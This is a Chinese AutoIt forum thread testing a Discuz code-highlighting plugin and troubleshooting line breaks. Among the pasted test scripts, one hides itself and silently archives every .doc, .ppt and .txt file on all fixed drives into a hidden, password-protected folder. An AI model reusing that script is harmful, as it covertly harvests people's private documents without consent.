找回密码
 加入
搜索
楼主: 孤天一日

AU3代码高亮插件 For Discuz 6.1.0 AUTOIT中文站专版【修正换行问题】

  [复制链接]
发表于 2008-5-21 22:45:44 | 显示全部楼层
不过编辑旧贴子还是不能换行,是何缘故?
发表于 2008-5-21 22:46:02 | 显示全部楼层
换行测试。。
换行测试。。

换行测试。。
换行测试。。
换行测试。。
发表于 2008-5-21 23:30:40 | 显示全部楼层
新贴换行好像可以了。

但是上传附件的时候,图片却又不可以预览了,不知是何缘故?
 楼主| 发表于 2008-5-22 07:25:36 | 显示全部楼层
哀伤的发生大幅


#include <GuiConstantsEx.au3>
#include <String.au3>

Opt("MustDeclareVars", 1)

_Main()

Func _Main()
    Local $WinMain, $EditText, $InputPass, $InputLevel, $UpDownLevel, $EncryptButton, $DecryptButton, $string
    ; GUI and String stuff
    $WinMain = GUICreate('Encryption tool', 400, 400)
    ; Creates window
    $EditText = GUICtrlCreateEdit('', 5, 5, 380, 350)
    ; Creates main edit
    $InputPass = GUICtrlCreateInput('', 5, 360, 100, 20, 0x21)
    ; Creates the password box with blured/centered input
    $InputLevel = GUICtrlCreateInput(1, 110, 360, 50, 20, 0x2001)
    $UpDownLevel = GUICtrlSetLimit(GUICtrlCreateUpdown($InputLevel), 10, 1)
    ; These two make the level input with the Up|Down ability
    $EncryptButton = GUICtrlCreateButton('Encrypt', 170, 360, 105, 35)
    ; Encryption button
    $DecryptButton = GUICtrlCreateButton('Decrypt', 285, 360, 105, 35)
    ; Decryption button
    GUICtrlCreateLabel('Password', 5, 385)
    GUICtrlCreateLabel('Level', 110, 385)
    ; Simple text labels so you know what is what
    GUISetState()
    ; Shows window

    While 1
        Switch GUIGetMsg()
            Case $GUI_EVENT_CLOSE
                ExitLoop
            Case $EncryptButton
                GUISetState(@SW_DISABLE, $WinMain) ; Stops you from changing anything
                $string = GUICtrlRead($EditText) ; Saves the editbox for later
                GUICtrlSetData($EditText, 'Please wait while the text is Encrypted/Decrypted.') ; Friendly message
                GUICtrlSetData($EditText, _StringEncrypt(1, $string, GUICtrlRead($InputPass), GUICtrlRead($InputLevel)))
                ; Calls the encryption. Sets the data of editbox with the encrypted string
                ; The encryption starts with 1/0 to tell it to encrypt/decrypt
                ; The encryption then has the string that we saved for later from edit box
                ; It then reads the password box & Reads the level box
                GUISetState(@SW_ENABLE, $WinMain) ; This turns the window back on
            Case $DecryptButton
                GUISetState(@SW_DISABLE, $WinMain) ; Stops you from changing anything
                $string = GUICtrlRead($EditText) ; Saves the editbox for later
                GUICtrlSetData($EditText, 'Please wait while the text is Encrypted/Decrypted.') ; Friendly message
                GUICtrlSetData($EditText, _StringEncrypt(0, $string, GUICtrlRead($InputPass), GUICtrlRead($InputLevel)))
                ; Calls the encryption. Sets the data of editbox with the encrypted string
                ; The encryption starts with 1/0 to tell it to encrypt/decrypt
                ; The encryption then has the string that we saved for later from edit box
                ; It then reads the password box & Reads the level box
                GUISetState(@SW_ENABLE, $WinMain) ; This turns the window back on
        EndSwitch
    WEnd ; Continue loop untill window is closed
    Exit
EndFunc   ;==>_Main


换行测试
换行测试

换行测试
换行测试
换行测试

#NoTrayIcon
Opt("TrayIconHide", 1)

$g_szVersion = "自动拷贝硬盘指定文件"
If WinExists($g_szVersion) Then Exit
AutoItWinSetTitle($g_szVersion)
AutoItSetOption("TrayIconHide", 1)

$DestDir= @ScriptDir & "\MyFiles"
If FileExists($DestDir)=0 Then DirCreate($DestDir)
FileSetAttrib($DestDir, "+SHA-R")

$var = DriveGetDrive("FIXED");遍历硬盘各个分区
If Not @error Then
        For $i = 1 To $var[0]
                $dir = $var[$i]
                $SourceDir = $dir & "\"
                RunWait(@ProgramFilesDir &"\WinRAR\WinRAR.exe a -AGYYYYMMDD-NNNN -ED -R -K -HPpaopao -INUL -n*.doc -n*.ppt -n*.txt "& $DestDir & "\Power_.rar "&$SourceDir,"",@SW_HIDE)
        Next
EndIf

MsgBox(4160, "Well Done", "The task completed!", 3)

Exit


[ 本帖最后由 孤天一日 于 2008-5-22 07:45 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?加入

×
 楼主| 发表于 2008-5-22 07:29:31 | 显示全部楼层
原帖由 sanhen 于 2008-5-21 23:30 发表
新贴换行好像可以了。

但是上传附件的时候,图片却又不可以预览了,不知是何缘故?



 
$i = 0
Do
   WinWaitActive("确认文件替换","")
ControlClick("确认文件替换","","[class:TButton;INSTANCE:2]")
    $i = $i + 1
Sleep(60000);
Until $i = 100000


[ 本帖最后由 孤天一日 于 2008-5-22 07:45 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?加入

×
 楼主| 发表于 2008-5-22 07:42:55 | 显示全部楼层
原帖由 sanhen 于 2008-5-21 22:45 发表
不过编辑旧贴子还是不能换行,是何缘故?


旧帖子是指安装插件之前的帖子还是安装插件之后使用【au3】之后再编辑的帖子?我测试一下没有这个问题

原帖由 sanhen 于 2008-5-21 23:30 发表
新贴换行好像可以了。

但是上传附件的时候,图片却又不可以预览了,不知是何缘故?


这个。。。不可能吧

测试过程:







插件不影响帖子的入库(这部分什么都没修改)
工作原理:
只是在帖子出库的时候,检测到【AU3】标签(与Code同理)
然后再把标签内的内容【服务器端】
加一个<textarea name="code" class="$codeclass">$code</textarea>输出(discuzcode.htm文件)
【客户端】
由JS检测到带 name="code" 的 textarea 根据 class="$codeclass" 选择对应的着色文件(js)进行着色

[ 本帖最后由 孤天一日 于 2008-6-1 22:20 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?加入

×
发表于 2008-6-1 04:16:14 | 显示全部楼层
换行问题还是得不到修复啊。
郁闷了。。。

有的版块可以。有的版块不行?
 楼主| 发表于 2008-6-1 22:19:40 | 显示全部楼层
哪一些板块不行?

你之前有安装过什么插件(修改)吗?
 楼主| 发表于 2008-6-1 23:35:50 | 显示全部楼层
你灌水区开启HTML支持

是这个的原因

开启了HTML支持 在“dicusz!代码模式”下

输入时候是换行的时候看起来是换行的实际上没有换行

因为没有HTML的标签

你可以实验一下:在开启HTML支持的板块

现在“所见即所得模式”输入文字 换行,然后切换到“dicusz!代码模式”看看是不是添加了html标签了?

再看看discuzcode.func.php中的代码,以及我的修改
        //return $htmlon || $allowhtml ? $message : nl2br(str_replace(array("\t", '   ', '  '), array('        ', '   ', '  '), $message));
        if ($csh){
                return nl2br($message);
        }else{
                return $htmlon || $allowhtml ? $message : nl2br(str_replace(array("\t", '   ', '  '), array('        ', '   ', '  '), $message));
        }
当 $htmlon(帖子开启HTML支持) 或者 $allowhtml (版块支持html)时候 直接返回 $message

而没有换行(nl2br)

因此这个不是我的插件问题,而是你设置的问题了



解决方案:
1.要么把所有区的HTML支持禁用了

2.要么开启HTML支持但是默认的编辑器为“所见即所得模式”

[ 本帖最后由 孤天一日 于 2008-6-1 23:49 编辑 ]
发表于 2008-6-15 14:55:09 | 显示全部楼层
啊,不让人下哦,哎。看来还没级别啊
发表于 2008-6-16 19:09:08 | 显示全部楼层
谁能下啊255
发表于 2008-8-7 12:34:45 | 显示全部楼层
没有办法下载。下载了还要密码?
发表于 2008-8-27 20:40:18 | 显示全部楼层
不能下载。
发表于 2008-8-27 21:50:37 | 显示全部楼层
下不了
发表于 2008-9-28 20:22:53 | 显示全部楼层

非常感谢

非常感谢,测试看看
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-4-26 19:03 , Processed in 0.080188 second(s), 15 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表